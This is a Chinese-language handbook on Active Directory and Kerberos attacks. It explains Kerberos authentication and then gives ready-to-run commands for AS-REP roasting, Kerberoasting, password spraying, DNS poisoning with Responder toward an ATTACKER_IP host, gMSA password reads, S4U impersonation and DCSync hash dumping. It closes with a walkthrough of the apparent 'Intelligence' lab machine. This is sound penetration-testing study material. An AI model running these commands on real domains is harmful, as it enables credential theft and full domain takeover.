AD-Intelligence

Active Directory & Kerberos 攻击全景手册


一、Kerberos 认证基础

1.1 三个角色

1
2
3
4
┌──────────┐     ┌──────────┐     ┌──────────────┐
│ Client │────▶│ KDC │────▶│ Service │
│ (你) │ │(域控制器) │ │(MSSQL/IIS/…) │
└──────────┘ └──────────┘ └──────────────┘
角色 职能 关键组件
Client 请求访问的实体(用户/计算机) 密码 → 加密密钥
KDC (Key Distribution Center) 认证中心,跑在域控上 AS(认证服务)+ TGS(票据授予服务)
Service 被访问的目标服务 由 SPN 唯一标识

1.2 认证三阶段

1
2
3
4
5
6
7
8
9
10
11
阶段 1: AS-REQ / AS-REP
Client ——"我是 Alice,给我手环"——▶ KDC
Client ◀——"这是你的 TGT(用 krbtgt 密钥加密)"—— KDC

阶段 2: TGS-REQ / TGS-REP
Client ——"我用手环换去 MSSQL 项目的票"——▶ KDC
Client ◀——"这是 MSSQL 票(用 MSSQL 密钥加密)"—— KDC

阶段 3: AP-REQ / AP-REP
Client ——"这是 MSSQL 票,让我进去"——▶ MSSQL
Client ◀——"票有效,请进"—— MSSQL

1.3 核心概念速查

名词 全称 本质 加密密钥 有效期
TGT Ticket Granting Ticket “游乐园万能手环” krbtgt 账户的哈希 ~10 小时
TGS Ticket Granting Service “单个项目的门票” 目标服务账户的哈希 ~10 小时
SPN Service Principal Name 服务的唯一标识
NT Hash NT LAN Manager Hash 密码的 MD 4 值(等同于密码)
ccache Credential Cache Kerberos 票据文件

1.4 Kerberos 的”权限检查真空”

KDC 在发放 TGS 时不检查客户端是否有权限访问目标服务。

这个设计产生了两个核心攻击面:

  • Kerberoasting:拿到 TGS(用服务密钥加密的 blob),离线爆破
  • S 4 U 冒充:有委派权限的账户可以替别人要票

二、凭据的三种形态

形态 表现形式 获取方式 可对抗的认证协议
明文密码 Password123 密码喷洒、Responder+hashcat 所有
NT 哈希 32个十六进制字符 DCSync、SAM dump、gMSA NTLM 认证
Kerberos 票 .ccache 文件 getTGT.pygetST.py 仅 Kerberos

NT 哈希 = 等效于密码(Pass-the-Hash)。NTLM 协议不需要明文密码,只需要哈希。


三、七大核心攻击技术

3.1 AS-REP Roasting

原理:预认证(Pre-authentication)关闭时,KDC 不验证身份就发 TGT。TGT 用用户密码哈希加密,可离线爆破。

条件:用户设置了 UF_DONT_REQUIRE_PREAUTH

1
2
3
4
5
# 枚举
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP

# 破解
hashcat -m 18200 hash.txt rockyou.txt

3.2 Kerberoasting

原理:任何域用户都能向 KDC 请求任意 SPN 的 TGS。TGS 用目标服务账户的密钥加密,可离线爆破。不需要目标用户有任何特殊配置。

条件:目标服务账户注册了 SPN;密码弱

1
2
3
4
5
6
7
8
# 查找 SPN
GetUserSPNs.py -dc-ip DC_IP DOMAIN/user:'password'

# 请求 TGS
GetUserSPNs.py -dc-ip DC_IP DOMAIN/user:'password' -request

# 破解
hashcat -m 13100 hash.txt rockyou.txt # TGS-REP

与 AS-REP Roasting 的核心区别

AS-REP Roasting Kerberoasting
破解谁 用户自身的 TGT 服务账户的 TGS
触发条件 预认证关闭 无(任何域用户都能请求)
攻击发起者 无需认证 需要已认证(任意域用户即可)

3.3 密码喷洒 (Password Spraying)

原理:用同一个密码尝试所有用户,绕过账户锁定策略。是”一密码多用户”,不是”一用户多密码”。

1
kerbrute passwordspray -d DOMAIN --dc DC_IP users.txt 'DefaultPass123'

3.4 DNS 投毒 + Responder

原理:在 AD 集成的 DNS 中注入指向攻击机的记录,等待计划任务/脚本用 -UseDefaultCredentials 发起 HTTP 请求 —— 触发 NTLM 质询,捕获 NetNTLMv 2 哈希。

条件:当前用户有 DNS 写权限;存在自动发起 HTTP 请求的计划任务

1
2
3
4
5
6
7
8
# 1. 写 DNS 记录
bloodyAD add dnsRecord evilhost ATTACKER_IP

# 2. 起监听
sudo responder -I tun0 -w

# 3. 破解
hashcat -m 5600 hash.txt rockyou.txt

3.5 gMSA 密码读取

原理:组托管服务账户(gMSA)的密码由 AD 自动管理,存储在 msDS-ManagedPassword 属性中。拥有 ReadGMSAPassword 权限的实体可直接读取并解密。

条件:当前用户有读取 gMSA 密码的权限(BloodHound 中标注为 ReadGMSAPassword)

1
2
3
4
5
# 用 bloodyAD
bloodyAD get object 'SVC_ACCOUNT$' --attr msDS-ManagedPassword

# 用 gMSADumper
gMSADumper.py -d DOMAIN -u user -p pass -l DC_IP

3.6 委派攻击 (Delegation)

委派是 AD 中最复杂也最高危的机制。核心场景:前端 IIS 需要以后端用户的身份访问 SQL Server。AD 给了三种方式:

a) 非约束委派 (Unconstrained Delegation)

1
用户 → IIS(IIS 拿到用户的 TGT 存起来) → SQL Server

问题:IIS 可以缓存任何访问过它的人的 TGT。攻击者拿到 IIS 的权限就拿到了所有 TGT。

b) 约束委派 (Constrained Delegation) — Intelligence 采用的

1
2
SVC_INT$ 说:"我想以 Administrator 的身份访问 WWW/dc"
KDC 说:"好的,你在我白名单里,这是 Administrator 访问 WWW/dc 的票"

两步走(S 4 U 2 Self + S 4 U 2 Proxy)

  1. S 4 U 2 Self:服务账户对 KDC 说”给我一张任意用户访问我自己的票”(不需要用户提供凭据)
  2. S 4 U 2 Proxy:拿这张票去换”该用户访问目标服务”的票

关键:有 msDS-AllowedToDelegateTo 属性且知道服务账户的凭据

1
2
3
# 冒充 Administrator 访问目标服务
getST.py -spn HTTP/target.domain -impersonate Administrator \
-hashes :NT_HASH 'DOMAIN/SVC_ACCOUNT$'

c) 基于资源的约束委派 (RBCD)

区别:不是服务账户说”我能替别人”,而是目标服务说”谁可以替我”。控制权从源服务转移到了目标服务。

3.7 DCSync

原理:伪装成域控向另一个域控请求复制目录数据(NTDS.dit),从而获取所有用户的哈希。

条件:拥有 DS-Replication-Get-ChangesDS-Replication-Get-Changes-All 权限(Domain Admins、Enterprise Admins、Administrators 默认拥有)

1
2
secretsdump.py DOMAIN/user:'password'@DC_IP -just-dc
secretsdump.py DOMAIN/user:'password'@DC_IP -just-dc-user Administrator

常见报错

错误 含义
rpc_s_access_denied 权限不足
ERROR_DS_DRA_BAD_DN 权限够但 DN 格式/配置问题

四、工具图谱

4.1 Impacket 套件

工具 功能 认证方式
GetNPUsers.py AS-REP Roasting 枚举 无需认证
GetUserSPNs.py Kerberoasting 密码/哈希
secretsdump.py DCSync / SAM dump 密码/哈希/Kerberos
getTGT.py 用密码/哈希换 TGT 密码/哈希
getST.py 用 TGT 换 TGS(S 4 U) 密码/哈希/TGT
wmiexec.py WMI 远程执行 密码/哈希/Kerberos
psexec.py 服务创建远程执行 密码/哈希/Kerberos
smbclient.py SMB 文件浏览 密码/哈希/Kerberos
smbserver.py 本地 SMB 服务器(配合 Responder)

4.2 认证参数速查

参数 含义 示例
-hashes NTLM 哈希认证 -hashes :51854c912c4caa...
-k Kerberos 票据认证 需先 export KRB5CCNAME=xxx.ccache
-no-pass 不需要密码 配合 -k-hashes 使用
-dc-ip 指定 DC IP -dc-ip 10.129.95.154
-just-dc-user 只 dump 指定用户 绕过全量 DCSync 限制

4.3 其他关键工具

工具 用途 关键命令
kerbrute 用户枚举 / 密码喷洒 passwordspray / bruteforce
bloodyAD LDAP 操作(读写 AD 对象) add dnsRecord / get object --attr
bloodhound-python 全量 AD 关系采集 -c All --zip
Responder 欺骗 + NTLM 哈希捕获 -I tun0 -w
hashcat 哈希破解 -m 5600 (NetNTLMv 2) / -m 18200 (AS-REP)
evil-winrm WinRM 远程 Shell -i TARGET -r DOMAIN
chisel / ligolo 隧道 / 端口转发 不出网场景

五、经典攻击链模式

模式 A:外部到域用户

1
2
端口扫描 → Web 信息泄漏(PDF/邮件/字典)→ 提取用户名 →
AS-REP Roasting(如有) → 或 密码喷洒 → 初始域用户

模式 B:域用户到高权限

1
2
已认证域用户 → Kerberoasting → 服务账户密码 →
服务账户在 Domain Admins → DCSync → 全量哈希

模式 C:域用户到域控(委派路径)

1
2
3
已认证域用户 → BloodHound 发现委派关系 →
gMSA 密码读取 / RBCD / 约束委派 →
冒充 Administrator → 域控 Shell

模式 D:DNS 投毒 + NTLM 中继

1
2
3
已认证域用户 → DNS 写权限 →
注入 DNS 记录 → Responder / ntlmrelayx →
捕获高权限用户哈希 → 登录域控

六、常见误区与调试

误区 事实
“AS-REP 不成功就没戏了” Kerberoasting 不依赖 AS-REP,任何域用户都能用
“NT 哈希不能登录” NTLM Pass-the-Hash 完全可用
“ccache 是万能的” 票据绑定特定 SPN,不能跨服务使用
“evil-winrm 必须用密码” 支持 -k Kerberos 票据认证
“DCSync 失败就是没权限” ERROR_DS_DRA_BAD_DN 是配置问题,不是权限问题
“Kerberos 只在 Windows 上能用” Impacket + krb 5.conf 可在 Linux/macOS 完整使用

七、BloodHound 速查

关键边(Edge)含义

边名 含义 攻击价值
MemberOf 组关系 基本
HasSession 已登录会话 可窃取凭据
ForceChangePassword 可改密码 直接接管
AddMembers 可添加组成员 加自己进高权限组
WriteDacl 可改 ACL 给自己加任何权限
ReadGMSAPassword 可读 gMSA 密码 拿 NT 哈希
AllowedToDelegate 约束委派 S 4 U 冒充
AllowedToAct 基于资源的约束委派 RBCD 冒充
DCSync (GetChanges + GetChangesAll) DCSync 权限 全量 dump
GenericAll / GenericWrite 完全控制 多种提权路径

八、时间线复盘:Intelligence 完整攻击链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌─────────────────────────────────────────────────────────────────┐
│ 1. nmap → 80 端口 IIS + 445 SMB + 389 LDAP │
│ 2. /documents/ 目录 → 2020-01-01-upload.pdf │
│ 3. 批量下载 80 篇 PDF → exiftool/strings → 30 个用户名 │
│ 4. AS-REP Roasting → 全部失败(预认证开启) │
│ 5. 密码喷洒 'NewIntelligenceCorpUser9876' │
│ → Tiffany.Molina (默认密码未改) │
│ 6. SMB 侦察 → Ted 的 PowerShell 监控脚本 │
│ → DNS web* 查询 + -UseDefaultCredentials │
│ 7. DNS 投毒 (bloodyAD add dnsRecord) + Responder │
│ → Ted.Graves NetNTLMv2 → hashcat → Mr.Teddy │
│ 8. bloodhound-python → IT Support → ReadGMSAPassword │
│ → SVC_INT$ NT Hash │
│ 9. BloodHound → SVC_INT$ → AllowedToDelegate → WWW/dc │
│ 10. getST.py (S4U) → 冒充 Administrator → wmiexec │
│ → root.txt ✅ │
└─────────────────────────────────────────────────────────────────┘

最后一句:AD 攻击本质上是”信息不对称”的博弈——你知道的信息(域名、用户、密码、组关系、委派)每多一层,攻击面就拓宽一大截。枚举决定你能看见什么,BloodHound 决定你能规划什么,Impacket 决定你能做到什么。